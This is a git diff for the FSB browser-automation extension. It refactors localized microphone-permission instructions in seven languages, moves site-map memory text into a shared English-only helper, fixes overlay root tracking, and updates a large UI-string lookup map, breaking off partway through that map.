extension/_locales/de/messages.json | 24 +++++--------- extension/_locales/en/messages.json | 24 +++++--------- extension/_locales/es/messages.json | 24 +++++--------- extension/_locales/ja/messages.json | 24 +++++--------- extension/_locales/ko/messages.json | 24 +++++--------- extension/_locales/zh_CN/messages.json | 24 +++++--------- extension/_locales/zh_TW/messages.json | 24 +++++--------- extension/content/visual-feedback.js | 2 ++ extension/lib/memory/memory-schemas.js | 12 ++++++- extension/ui/microphone-permission.html | 6 ++-- extension/ui/options.js | 2 +- extension/utils/copy-exact.js | 2 +- extension/utils/ui-locale.js | 13 ++++++++ tests/extension-ui-locale.test.js | 44 +++++++++++++++++++++++++ 14 files changed, 132 insertions(+), 117 deletions(-) diff --git a/extension/_locales/de/messages.json b/extension/_locales/de/messages.json index ea2cb43e7..245d9d1cf 100644 --- a/extension/_locales/de/messages.json +++ b/extension/_locales/de/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome verlangt die erste Mikrofonfreigabe in einem normalen Erweiterungs-Tab. Danach funktioniert die Spracheingabe aus dem FSB-Seitenpanel auf jeder Website." }, - "entry_mic_instruction": { - "message": "Wähle im Chrome-Hinweis „Beim Besuch zulassen“, damit FSB dauerhaft Zugriff hat." + "entry_mic_instruction_lead": { + "message": "Wähle im Chrome-Hinweis" + }, + "entry_mic_instruction_action": { + "message": "Beim Besuch zulassen" + }, + "entry_mic_instruction_tail": { + "message": "aus, damit FSB dauerhaft Zugriff hat." }, "entry_mic_waiting": { "message": "Warte auf den Mikrofonhinweis von Chrome…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "Sitemap wird mit KI verfeinert..." }, - "copy_00834dcdc3": { - "message": "Sitemap für $DOMAIN$: $PAGES$ Seiten, $FORMS$ Formulare (mit KI verbessert)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "Sitemap für $DOMAIN$ gespeichert und verfeinert", "placeholders": { diff --git a/extension/_locales/en/messages.json b/extension/_locales/en/messages.json index f54d5f07e..0a58b32fe 100644 --- a/extension/_locales/en/messages.json +++ b/extension/_locales/en/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome requires the first microphone approval in a regular extension tab. After that, voice input works from the FSB side panel on every website." }, - "entry_mic_instruction": { - "message": "In Chrome’s prompt, choose Allow while visiting for a persistent FSB grant." + "entry_mic_instruction_lead": { + "message": "In Chrome’s prompt, choose" + }, + "entry_mic_instruction_action": { + "message": "Allow while visiting" + }, + "entry_mic_instruction_tail": { + "message": "for a persistent FSB grant." }, "entry_mic_waiting": { "message": "Waiting for Chrome’s microphone prompt…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "Refining site map with AI..." }, - "copy_00834dcdc3": { - "message": "Site map for $DOMAIN$: $PAGES$ pages, $FORMS$ forms (AI enhanced)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "Site map saved and refined for $DOMAIN$", "placeholders": { diff --git a/extension/_locales/es/messages.json b/extension/_locales/es/messages.json index 6c573d85e..8ed0671d3 100644 --- a/extension/_locales/es/messages.json +++ b/extension/_locales/es/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome exige la primera aprobación del micrófono en una pestaña normal de la extensión. Después, la entrada de voz funciona desde el panel lateral de FSB en cada sitio." }, - "entry_mic_instruction": { - "message": "En el aviso de Chrome, elige Permitir mientras visitas el sitio para un permiso persistente de FSB." + "entry_mic_instruction_lead": { + "message": "En el aviso de Chrome, elige" + }, + "entry_mic_instruction_action": { + "message": "Permitir mientras visitas el sitio" + }, + "entry_mic_instruction_tail": { + "message": "para un permiso persistente de FSB." }, "entry_mic_waiting": { "message": "Esperando el aviso del micrófono de Chrome…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "Refinando el mapa del sitio con IA..." }, - "copy_00834dcdc3": { - "message": "Mapa del sitio de $DOMAIN$: $PAGES$ páginas, $FORMS$ formularios (mejorado con IA)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "Mapa del sitio guardado y refinado para $DOMAIN$", "placeholders": { diff --git a/extension/_locales/ja/messages.json b/extension/_locales/ja/messages.json index 5f652f669..af99e5726 100644 --- a/extension/_locales/ja/messages.json +++ b/extension/_locales/ja/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome は最初のマイク許可を通常の拡張機能タブで求めます。その後は、どのサイトでも FSB サイドパネルから音声入力できます。" }, - "entry_mic_instruction": { - "message": "Chrome の確認で「アクセス中は許可」を選ぶと、FSB の許可が維持されます。" + "entry_mic_instruction_lead": { + "message": "Chrome の確認で" + }, + "entry_mic_instruction_action": { + "message": "アクセス中は許可" + }, + "entry_mic_instruction_tail": { + "message": "を選ぶと、FSB の許可が維持されます。" }, "entry_mic_waiting": { "message": "Chrome のマイク確認を待っています…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "AI でサイトマップを精緻化しています..." }, - "copy_00834dcdc3": { - "message": "$DOMAIN$ のサイトマップ: $PAGES$ ページ、$FORMS$ フォーム(AI で強化)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "$DOMAIN$ のサイトマップを保存して精緻化しました", "placeholders": { diff --git a/extension/_locales/ko/messages.json b/extension/_locales/ko/messages.json index 817615bb5..83e8bc14e 100644 --- a/extension/_locales/ko/messages.json +++ b/extension/_locales/ko/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome은 첫 마이크 승인을 일반 확장 프로그램 탭에서 요구합니다. 그 뒤에는 모든 사이트에서 FSB 사이드 패널의 음성 입력이 동작합니다." }, - "entry_mic_instruction": { - "message": "Chrome 안내에서 “방문하는 동안 허용”을 고르면 FSB 권한이 유지됩니다." + "entry_mic_instruction_lead": { + "message": "Chrome 안내에서" + }, + "entry_mic_instruction_action": { + "message": "방문하는 동안 허용" + }, + "entry_mic_instruction_tail": { + "message": "옵션을 고르면 FSB 권한이 유지됩니다." }, "entry_mic_waiting": { "message": "Chrome 마이크 안내를 기다리는 중…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "AI로 사이트 맵을 다듬는 중..." }, - "copy_00834dcdc3": { - "message": "$DOMAIN$ 사이트 맵: 페이지 $PAGES$개, 양식 $FORMS$개(AI 향상)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "$DOMAIN$의 사이트 맵을 저장하고 다듬었습니다", "placeholders": { diff --git a/extension/_locales/zh_CN/messages.json b/extension/_locales/zh_CN/messages.json index a11e53f27..5b8b7e4b3 100644 --- a/extension/_locales/zh_CN/messages.json +++ b/extension/_locales/zh_CN/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome 要求第一次麦克风批准发生在普通的扩展程序标签页。之后,每个网站上的 FSB 侧边栏都可以使用语音输入。" }, - "entry_mic_instruction": { - "message": "在 Chrome 的提示中选择“访问时允许”,以便 FSB 获得持久授权。" + "entry_mic_instruction_lead": { + "message": "在 Chrome 的提示中选择" + }, + "entry_mic_instruction_action": { + "message": "访问时允许" + }, + "entry_mic_instruction_tail": { + "message": "选项,以便 FSB 获得持久授权。" }, "entry_mic_waiting": { "message": "正在等待 Chrome 的麦克风提示…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "正在用 AI 优化站点地图..." }, - "copy_00834dcdc3": { - "message": "$DOMAIN$ 的站点地图:$PAGES$ 个页面,$FORMS$ 个表单(AI 增强)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "已保存并优化 $DOMAIN$ 的站点地图", "placeholders": { diff --git a/extension/_locales/zh_TW/messages.json b/extension/_locales/zh_TW/messages.json index 9d016a0e0..99b443d33 100644 --- a/extension/_locales/zh_TW/messages.json +++ b/extension/_locales/zh_TW/messages.json @@ -2019,8 +2019,14 @@ "entry_mic_intro": { "message": "Chrome 要求第一次麥克風核准發生在一般的擴充功能分頁。之後,每個網站上的 FSB 側邊欄都可以使用語音輸入。" }, - "entry_mic_instruction": { - "message": "在 Chrome 的提示中選擇「造訪時允許」,以便 FSB 獲得持久授權。" + "entry_mic_instruction_lead": { + "message": "在 Chrome 的提示中選擇" + }, + "entry_mic_instruction_action": { + "message": "造訪時允許" + }, + "entry_mic_instruction_tail": { + "message": "選項,以便 FSB 獲得持久授權。" }, "entry_mic_waiting": { "message": "正在等待 Chrome 的麥克風提示…" @@ -2999,20 +3005,6 @@ "copy_d504fbf25e": { "message": "正在用 AI 精煉網站地圖..." }, - "copy_00834dcdc3": { - "message": "$DOMAIN$ 的網站地圖:$PAGES$ 個頁面,$FORMS$ 個表單(AI 增強)", - "placeholders": { - "domain": { - "content": "$1" - }, - "pages": { - "content": "$2" - }, - "forms": { - "content": "$3" - } - } - }, "copy_a249e56325": { "message": "已儲存並精煉 $DOMAIN$ 的網站地圖", "placeholders": { diff --git a/extension/content/visual-feedback.js b/extension/content/visual-feedback.js index cca0302f3..ce945e1f3 100644 --- a/extension/content/visual-feedback.js +++ b/extension/content/visual-feedback.js @@ -45,6 +45,8 @@ } } function watchChrome(root) { + // Overlays are rebuilt after destroy(), so drop roots that left the page. + chromeRoots = chromeRoots.filter(function (r) { return r.isConnected; }); chromeRoots.push(root); refreshOwnedChrome(root); } diff --git a/extension/lib/memory/memory-schemas.js b/extension/lib/memory/memory-schemas.js index 7b1f0d1f7..37c6cca01 100644 --- a/extension/lib/memory/memory-schemas.js +++ b/extension/lib/memory/memory-schemas.js @@ -69,11 +69,20 @@ function createSemanticMemory(text, metadata = {}, typeData = {}) { return memory; } +/** + * Stored text for a site map memory. Kept in English regardless of the UI + * language because memory search and AI prompts read it. + */ +function siteMapMemoryText(domain, sitePattern, aiEnhanced = false) { + const text = `Site map for ${domain}: ${sitePattern.pageCount || 0} pages, ${sitePattern.formCount || 0} forms`; + return aiEnhanced ? text + ' (AI enhanced)' : text; +} + /** * Create a site map memory from domain and sitePattern data */ function createSiteMapMemory(domain, sitePattern, metadata = {}) { - const text = `Site map for ${domain}: ${sitePattern.pageCount || 0} pages, ${sitePattern.formCount || 0} forms`; + const text = siteMapMemoryText(domain, sitePattern); return createSemanticMemory(text, { domain, tags: ['site_map'], @@ -191,6 +200,7 @@ if (typeof self !== 'undefined') { self.createBaseMemory = createBaseMemory; self.createSemanticMemory = createSemanticMemory; self.createProceduralMemory = createProceduralMemory; + self.siteMapMemoryText = siteMapMemoryText; self.createSiteMapMemory = createSiteMapMemory; self.createTaskMemory = createTaskMemory; self.validateMemory = validateMemory; diff --git a/extension/ui/microphone-permission.html b/extension/ui/microphone-permission.html index c4135a08f..a6c9960b3 100644 --- a/extension/ui/microphone-permission.html +++ b/extension/ui/microphone-permission.html @@ -159,8 +159,10 @@

Enable your microphone

After that, voice input works from the FSB side panel on every website.

-
- In Chrome’s prompt, choose Allow while visiting for a persistent FSB grant. +
+ In Chrome’s prompt, choose + Allow while visiting + for a persistent FSB grant.

Waiting for Chrome’s microphone prompt…

diff --git a/extension/ui/options.js b/extension/ui/options.js index 475436cd3..7404a1d4b 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -6439,7 +6439,7 @@ async function saveResearchToMemory(researchId) { if (refined && refined.refined === true) { memory.typeData.sitePattern = refined; memory.metadata.confidence = 0.95; - memory.text = fsbUiLine('Site map for $DOMAIN$: $PAGES$ pages, $FORMS$ forms (AI enhanced)', { domain: domain, pages: refined.pageCount || 0, forms: refined.formCount || 0 }); + memory.text = siteMapMemoryText(domain, refined, true); memory.updatedAt = Date.now(); await memoryStorage.update(memory.id, memory); showToast(fsbUiLine('Site map saved and refined for $DOMAIN$', { domain: domain }), 'success'); diff --git a/extension/utils/copy-exact.js b/extension/utils/copy-exact.js index 10ed16137..3ecebd4cc 100644 --- a/extension/utils/copy-exact.js +++ b/extension/utils/copy-exact.js @@ -1,4 +1,4 @@ (function (root) { - var extra = {"FSB - Side Panel":"copy_26b2f925d8","It cannot edit files, run shell commands, or fetch arbitrary URLs.":"copy_9ca9c869e9","Trust $NAME$ for future runs":"copy_65974683e8","This turns off confirmation for future $NAME$ runs on this browser.":"copy_a9780e01fc","Confirmation preference could not be saved. Try again or continue without trust.":"copy_88cad98751","The agent could not be started. Review the permission and try again.":"copy_b6b3428299","Allow & start $NAME$":"copy_02df469915","Native helper is paired with another extension":"copy_63b90cc26c","Reset the native helper pairing, then try this message again. FSB will pair this extension automatically.":"copy_606b6c7b99","Copy reset command":"copy_4662e7e99e","Local agent session is unavailable":"copy_7d6ee224d7","Run the doctor command, restart the local FSB service if prompted, then try this message again.":"copy_abc3c6a9b5","The selected provider does not support agents that control browser tabs. Choose a supported agent provider, then try this message again.":"copy_392182513b","Sign in to $NAME$ locally, then try this message again.":"copy_664ba782e6","Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup.":"copy_1c5510dd75","Agent could not start this task":"copy_266c761925","Keep this message in the composer, review the provider settings, and try again.":"copy_6271a1aa0b","Agent run ended after daemon restart":"copy_07eab3e346","Agent could not finish this task":"copy_00143d759f","Agent connection lost":"copy_81dfbf1a8a","Agent cleanup needs attention":"copy_c1db132cee","Agent could not resume control":"copy_66defff597","FSB accepted this run but could not save it, and Stop is not confirmed.":"copy_f5bb81be63","The previous agent process was stopped and was not reattached. Start a new task when the local service is ready.":"copy_1c86e2b334","Start a new task":"copy_1a103bf447","FSB missed three replies from the local agent service. The run cannot continue safely.":"copy_6c845be6a5","Install or update the FSB native helper, then try again. FSB will connect this browser automatically.":"copy_4cf5603fc8","FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control. Start a new task when you are ready.":"copy_87db7a3927","Try message again":"copy_d1708202db","Automation is working":"copy_39ccfe7853","Automation control is no longer available for this tab.":"copy_e609da84a5","Stop could not be confirmed. The previous agent state is still shown.":"copy_a6b6ef6c4e","Your original message is still here. Retry Stop to finish cleanup.":"copy_ba4af741ad","FSB could not save this agent run. Stop was confirmed for that exact run, and your message was kept. Try again.":"copy_e71b7995e6","Finish the pending agent cleanup in its original tab and conversation before starting another task. Your message was kept.":"copy_ee776a7565","FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control.":"copy_b3715a6900","FSB’s local helper is not installed. Run: npx -y fsb-mcp-server@latest install --native-host":"copy_47220517c7","Starting reconnaissance on $DOMAIN$...":"copy_d0b5d103f7","Reconnaissance failed to start: $ERROR$":"copy_7654da628e","Reconnaissance complete! Site map saved for $DOMAIN$.":"copy_ca79bcd4d7","The automation completed but no summary was provided. Please try again if the task wasn't completed as expected.":"copy_0f654a723b","Login page detected...":"copy_b6c7f59d4f","Saved payment methods are not available for this checkout.":"copy_43d71bc905","No saved cards":"copy_e46796d601","Vault setup required":"copy_40a0d5700e","Payment access locked":"copy_eef91deafe","Saved payments unavailable":"copy_583fe8b004","Billing profile stored":"copy_5932e9b23f","Filling saved card...":"copy_fbbc8ab36d","Replay paused before a potentially duplicated write.":"copy_e09653448c","Replay decision failed":"copy_a378a72986","Retrying replay step...":"copy_aacf80d079","Skipping replay step...":"copy_8e731074ee","Could not apply replay decision: $ERROR$":"copy_2d7848007e","Blocked · redacted input":"copy_0d3db7357d","An MCP client requested this replay in $COUNT$ fresh tab.":"copy_4916a64c38","An MCP client requested this replay in $COUNT$ fresh tabs.":"copy_c15b9f2acd","One approval covers only the exact verified manifest, including $COUNT$ high-impact step.":"copy_552d4905b4","One approval covers only the exact verified manifest, including $COUNT$ high-impact steps.":"copy_4c946b4834","One approval covers only the exact verified manifest.":"copy_9240c9c130","Opening recorded replay tabs...":"copy_b0802ca35d","Failed to start replay":"copy_c8a00bd3b5","Failed to start requested replay: $ERROR$":"copy_1a0ef83852","Replay cancellation failed":"copy_98db9dc8c5","Could not cancel replay request: $ERROR$":"copy_4ed0e5ecba","Replay verification failed":"copy_0d9f4051eb","This recording is inspect-only because only the latest $LATEST$ of $TOTAL$ recorded calls are available. Earlier browser state cannot be reconstructed safely.":"copy_fc1f569fa7","Replay this verified timeline in $COUNT$ fresh tab?":"copy_a2f62124e7","Replay this verified timeline in $COUNT$ fresh tabs?":"copy_4c55f6bc6e","This one approval covers the exact signed manifest: $DETAIL$.":"copy_dea4fcd3a0","The timeline contains only read and navigation steps.":"copy_82e80a0531","Opening a fresh replay tab...":"copy_99b908db8f","Failed to start replay.":"copy_b33e852b38","Failed to start replay: $ERROR$":"copy_816797656b","Failed to delete session history":"copy_6a7fdeaea6","Capture verification failed":"copy_f50146d7ac","Capture awaiting verification":"copy_8249b3f554","Failed to load session: $ERROR$":"copy_712090559d","Delete all session history? This cannot be undone.":"copy_c249c35164","Failed to clear session history":"copy_357bab7911","Task partially completed":"copy_0d3875c352","Reset to recommended ($COUNT$)":"copy_2786eaaa0e","Enter your model name below":"copy_03cea39622","FSB uses a separate private Grok profile. Connect SuperGrok with browser OAuth; no API key or model selection is used.":"copy_df3a34abef","Connected with browser OAuth":"copy_5eb9258e1b","Sign-in status unavailable":"copy_4ebee382f9","Opening Grok sign-in...":"copy_ee531932b4","Waiting for browser sign-in...":"copy_e591c14068","Grok Build could not disconnect while a task is active":"copy_82d261c870","Grok Build did not answer the disconnect in time. Check the sign-in status before trying again.":"copy_ab442992e8","Grok Build could not disconnect. Try again.":"copy_10e5c2a8ad","Grok Build could not disconnect: the local agent service is unavailable":"copy_2becee5507","Grok Build did not answer the sign-in in time. Refresh status before trying again.":"copy_1d29342190","Grok Build could not sign in: the local agent service is unavailable":"copy_b0fca87a8b","Grok Build sign-in is blocked because the installed Grok CLI is not the version FSB supports. Your account is fine. Check the compatibility badge, then install a supported CLI.":"copy_90ac4e0d62","Grok Build cannot sign in while a task is running. Wait for the run to finish, then try again.":"copy_9144f84f5c","Grok Build could not clean up a previous session, so sign-in is blocked. Refresh status to retry cleanup.":"copy_ca4a99be2b","The Grok CLI refused to start under the strict sandbox FSB requires, so sign-in is blocked. The CLI is installed and your account is fine.":"copy_28c4c69520","FSB could not run the Grok CLI. Check that it is installed, then refresh status.":"copy_0b9a54a7f8","Grok Build sign-in was cancelled":"copy_3f7ae97289","Grok Build sign-in did not complete":"copy_6725ea7cca","Grok Build connected to the private FSB profile":"copy_80d9a75cd7","Grok Build sign-in failed":"copy_ec4c183761","Disconnect the private FSB Grok Build profile? Your normal Grok login is unchanged.":"copy_53296a80a3","Grok Build disconnected from FSB":"copy_ca0786266f","Using loaded model":"copy_eb14344a7c","Choose and save another AI provider before starting a new task":"copy_97e5afb52c","AI provider required":"copy_682cc533d5","Load and select an LM Studio chat model before saving":"copy_0947800d1f","LM Studio model required":"copy_eec68a3001","Start LM Studio, load a chat model, then refresh and select it.":"copy_79b57ba0c8","Provide an API key before saving this provider":"copy_6dd8239043","Load an available model from this provider before saving":"copy_14249339ac","API key required":"copy_3b855d546e","Model list required":"copy_32afa3cc46","API Key Required":"copy_954e78bbdc","Settings saved successfully":"copy_074a372298","Load and select an LM Studio chat model before testing the connection.":"copy_cdb46a2041","No API key configured":"copy_8332d4b3d9","No API Key":"copy_6bec306893","Configure your $NAME$ API key to get started":"copy_ec6c5d7132","API key is required":"copy_59b831ea1c","Load the current model list before testing the connection.":"copy_7e4840a26d","Unknown bridge error":"copy_220b5a97ab","Connection test failed":"copy_a45a37ddcc","Installed and compatible: Grok Build 1.0.4. Isolation, ACP, and cached OAuth checks passed without sending a prompt.":"copy_ad0770f1aa","Compatibility check failed: $ERROR$":"copy_aab517a207","Logs exported successfully":"copy_b33e732cc1","Consent mode for $ORIGIN$":"copy_11eb704622","Audit log unavailable":"copy_7655b9531e","Audit log exported":"copy_07856dc7ea","Audit log export failed":"copy_1945edab68","Clear audit log: This permanently deletes all local audit entries. Export first if you want a copy. Continue?":"copy_27efbed83b","Audit log cleared":"copy_1b9414c45e","Could not clear audit log":"copy_5e4c340bf4","This origin is blocked from automation":"copy_e55422c604","Access granted (sensitive origin)":"copy_74f10b929e","Are you sure you want to clear all analytics data? This cannot be undone.":"copy_8378642189","Analytics data cleared":"copy_a58a92d42a","Analytics data exported":"copy_53dd8a177f","JSON session data":"copy_f5db4312c2","Streaming session export requires a browser with Save As support":"copy_b0e3e5d7c3","Session export transport is unavailable":"copy_0eecfd3ae0","Session not found":"copy_0969eab862","Failed to load session details":"copy_fe13bdd0d0","Session events could not be loaded":"copy_3096433e6f","Failed to load more session events: $ERROR$":"copy_952bb703c9","No session selected":"copy_ce10cc25bb","Session JSON downloaded":"copy_d633c264e7","Retry the journal export from its session-history download button":"copy_19404e5435","Failed to download session logs":"copy_f431c1057b","Are you sure you want to delete this session? This cannot be undone.":"copy_ac475c80e9","Failed to delete session":"copy_5c9c6608b4","Are you sure you want to delete ALL session history? This cannot be undone.":"copy_1a0b431718","All sessions cleared":"copy_40260f861d","Failed to clear sessions":"copy_ed9e6fe6eb","No logs recorded for this session.":"copy_14d37a14df","FSB Automation Session Report":"copy_c892490bc5","AI CONVERSATION LOG":"copy_76eb674a8c","Category | Count | Avg (ms) | Min | Max | Total":"copy_5a60378692","TOKEN USAGE SUMMARY":"copy_87968c8b4f","Session report exported":"copy_09ed6ac4d2","Retry the journal export from its session-history Export Text button":"copy_cc1e1981fb","Failed to export session":"copy_c183663b5c","Error unlocking vault: $ERROR$":"copy_30784a43b1","PINs do not match":"copy_b621934f80","Credential vault created":"copy_038efc029d","Failed to create vault":"copy_b27730b0ad","Error creating vault: $ERROR$":"copy_be90a4301c","Enter your PIN":"copy_344e10f557","Error locking vault: $ERROR$":"copy_d8689df745","Domain is required":"copy_025f3d105c","Username or password is required":"copy_f0413d8913","Failed to save: $ERROR$":"copy_9afaa0cd06","Error saving credential: $ERROR$":"copy_161d5eb702","Delete saved credential for \"$DOMAIN$\"? This cannot be undone.":"copy_2be1559933","Failed to delete: $ERROR$":"copy_742e696153","Error deleting credential: $ERROR$":"copy_f91e85ab50","Payment methods unlocked":"copy_6ddb0ed270","Error unlocking payment methods: $ERROR$":"copy_c75e2cc897","Payment methods locked":"copy_b69b2dc301","Failed to lock payment methods":"copy_454a57b219","Error locking payment methods: $ERROR$":"copy_af2ea4b480","Please enter your numeric PIN":"copy_38c2cc72e3","Edit Payment Method":"copy_97334b1737","All fields except Nickname and Address Line 2 are required":"copy_f8ab13ff2a","Invalid card number":"copy_2389d7d2a2","Card is expired or expiry is invalid":"copy_cc08ac8162","Payment method updated":"copy_0aed24cdfa","Payment method saved":"copy_8fb5f3db97","Error saving payment method: $ERROR$":"copy_58adb591be","Delete this payment method? This cannot be undone.":"copy_f03b63954b","Payment method deleted":"copy_62dd24dab7","Error deleting payment method: $ERROR$":"copy_2a0de92af3","Please enter a URL to explore":"copy_4f15f65f6e","Invalid URL format":"copy_fb05645171","Failed to start explorer: $ERROR$":"copy_a6215dba6d","All crawlers stopped":"copy_284429f90b","Crawl failed for $DOMAIN$":"copy_aee9e10eae","Research data not found":"copy_d604ffed30","Failed to load research details":"copy_600bbdc0cf","Research JSON downloaded":"copy_b784ed64e1","Failed to download research":"copy_4a64e6ca83","Are you sure you want to delete this research result?":"copy_1a2e7f1116","Failed to delete research":"copy_ec95ccc29e","Failed to convert research to site map":"copy_dc94971b24","Failed to save memory":"copy_382f902a79","Saved to memory":"copy_2049875d89","Refining site map with AI...":"copy_d504fbf25e","Site map for $DOMAIN$: $PAGES$ pages, $FORMS$ forms (AI enhanced)":"copy_00834dcdc3","Site map saved and refined for $DOMAIN$":"copy_a249e56325","Site map saved for $DOMAIN$ (refinement returned no data)":"copy_237923127b","Site map saved (AI refinement failed: $ERROR$)":"copy_35d9e0c46c","Site map saved to memory for $DOMAIN$":"copy_c8c83ca919","Failed to save to memory: $ERROR$":"copy_c32ea6d22f","Are you sure you want to delete ALL research results? This cannot be undone.":"copy_963ba004ea","All research results cleared":"copy_1044224528","Failed to clear research results":"copy_84e9814ece","Please enter a server URL first":"copy_491c2ddc8e","Hash key generated and saved":"copy_9526d57756","Failed to generate hash key":"copy_fdc08c5f7b","Cannot connect to server: $ERROR$":"copy_52b3b70484","No hash key to copy":"copy_cbdbc53db1","Hash key copied":"copy_f0b64c63d8","Failed to copy":"copy_0cf23c4489","Please enter server URL and hash key":"copy_8cab3b4552","Server connection successful":"copy_271b7b0f3b","Hash key is invalid":"copy_3e8bcabc0b","Cannot connect to server":"copy_09f7c3ac2a","Server did not return a hash key":"copy_0ea446a05f","Malformed pairing response":"copy_e5697f10b5","Could not generate pairing code: $ERROR$":"copy_30fa7c27e5","Could not register hash key: $ERROR$":"copy_acce51c1d3","Delete this memory?":"copy_cb4c956be2","Failed to load memory data":"copy_7402b5cdc1","Memory not found":"copy_3d391897c3","Graph engine not available":"copy_1c461596d3","No site pattern data in this memory":"copy_d85c704af2","No pages found in site map":"copy_a658647978","AI refiner not available":"copy_4b23a9fe70","Memory not found or not a site map":"copy_920d3a68d9","Site map refined successfully":"copy_99a619a944","AI refinement failed: $ERROR$":"copy_a266f3a3ce","Delete ALL memories? This cannot be undone.":"copy_0b0bdbabab","All memories cleared":"copy_58589924e2","Failed to clear memories: $ERROR$":"copy_e158cd5a5e","Remote control active":"copy_21ce69d58b","No models match search":"copy_23a711ebd2","No models available":"copy_a5a9895b02","Invalid API key":"copy_df9da4e214","API key invalid for this provider":"copy_e93db4ad9a","No compatible LM Studio models available":"copy_7b582d9989","Start LM Studio, load a chat model, and refresh the model list":"copy_5742edc9d8","LM Studio model discovery is unavailable":"copy_4b1527fd68","Couldn't load models":"copy_bd94818b82","Model discovery is unavailable":"copy_11c964536c","Could not connect to LM Studio":"copy_c77feaa41e","Could not load models from this provider":"copy_bdaaf4fde3","Could not refresh the provider model list":"copy_6b3e293f22","No compatible chat models are loaded in LM Studio":"copy_9aed9949c4","No available models":"copy_d068f8bbe0","The provider returned no available text models":"copy_ec819bcca6","The saved LM Studio model is unavailable. Choose a loaded model and save.":"copy_3329b92927","Model discovery timed out. Refresh to try again.":"copy_5cb6d3f4e6","Search and select model":"copy_e21ca6d204","Toggle model list":"copy_d6699494ff","Refresh model list":"copy_9606bfc49e","Enter your xAI API key":"copy_881bf7079c","Enter your Gemini API key":"copy_1e9720ad1e","Enter your OpenAI API key":"copy_699e26dc48","Enter your Anthropic API key":"copy_e73283ba69","Enter your OpenRouter API key":"copy_c545294348","Enter your custom API key":"copy_8001f1687a","Enter your 2Captcha API key":"copy_ec8571e74c","Decrease max iterations":"copy_9a679edbd3","Increase max iterations":"copy_7ff25a6879","Decrease element limit":"copy_1da98f8734","Increase element limit":"copy_396f15bbfe","Decrease element cache size":"copy_8418bb6be8","Increase element cache size":"copy_4d09f69eb1","Decrease agent concurrency cap":"copy_8afc6eb606","Increase agent concurrency cap":"copy_484366fe68","Decrease trigger concurrency cap":"copy_cffeed4c47","Increase trigger concurrency cap":"copy_3816b69dee","Decrease MCP replay retention":"copy_2a1df07657","MCP replay retention days":"copy_a346fdf291","Increase MCP replay retention":"copy_71c20adba6","Anonymous usage data is being sent. Click to stop.":"copy_f38984cf15","Your server hash key":"copy_81649d0543","Copy hash key":"copy_e4cdf160f5","Previously created background agents":"copy_81f7adf295","When enabled, new memories are automatically analyzed by AI for deeper insights":"copy_8c16fe2070","Export memories as JSON":"copy_0a221bc876","Import memories from JSON":"copy_70e6248096","Default consent mode for new sites":"copy_1152ae520b","Consent mode for origin":"copy_f5af3ff4e6","Search cards, brands, or billing details...":"copy_8371bee1a3","Name on card":"copy_18bf091ea7","Billing profile name":"copy_eb59dcee20","Apt, suite, unit":"copy_e151fee074","FSB - Control Panel":"copy_7ec33c22aa","FSB - Onboarding":"copy_34c70e4722","Step 1 of 5":"copy_1398385080","Select a loaded LM Studio chat model":"copy_b51e205a4a","LM Studio responded successfully":"copy_434171c580","Clipboard did not contain an API key":"copy_900b7aa263","Clipboard read failed":"copy_8d78737e31","Skipped for now":"copy_08aae6eb74"}; + var extra = {"FSB - Side Panel":"copy_26b2f925d8","It cannot edit files, run shell commands, or fetch arbitrary URLs.":"copy_9ca9c869e9","Trust $NAME$ for future runs":"copy_65974683e8","This turns off confirmation for future $NAME$ runs on this browser.":"copy_a9780e01fc","Confirmation preference could not be saved. Try again or continue without trust.":"copy_88cad98751","The agent could not be started. Review the permission and try again.":"copy_b6b3428299","Allow & start $NAME$":"copy_02df469915","Native helper is paired with another extension":"copy_63b90cc26c","Reset the native helper pairing, then try this message again. FSB will pair this extension automatically.":"copy_606b6c7b99","Copy reset command":"copy_4662e7e99e","Local agent session is unavailable":"copy_7d6ee224d7","Run the doctor command, restart the local FSB service if prompted, then try this message again.":"copy_abc3c6a9b5","The selected provider does not support agents that control browser tabs. Choose a supported agent provider, then try this message again.":"copy_392182513b","Sign in to $NAME$ locally, then try this message again.":"copy_664ba782e6","Test Connection may still succeed because it does not start a delegated run. Retry the message or review provider setup.":"copy_1c5510dd75","Agent could not start this task":"copy_266c761925","Keep this message in the composer, review the provider settings, and try again.":"copy_6271a1aa0b","Agent run ended after daemon restart":"copy_07eab3e346","Agent could not finish this task":"copy_00143d759f","Agent connection lost":"copy_81dfbf1a8a","Agent cleanup needs attention":"copy_c1db132cee","Agent could not resume control":"copy_66defff597","FSB accepted this run but could not save it, and Stop is not confirmed.":"copy_f5bb81be63","The previous agent process was stopped and was not reattached. Start a new task when the local service is ready.":"copy_1c86e2b334","Start 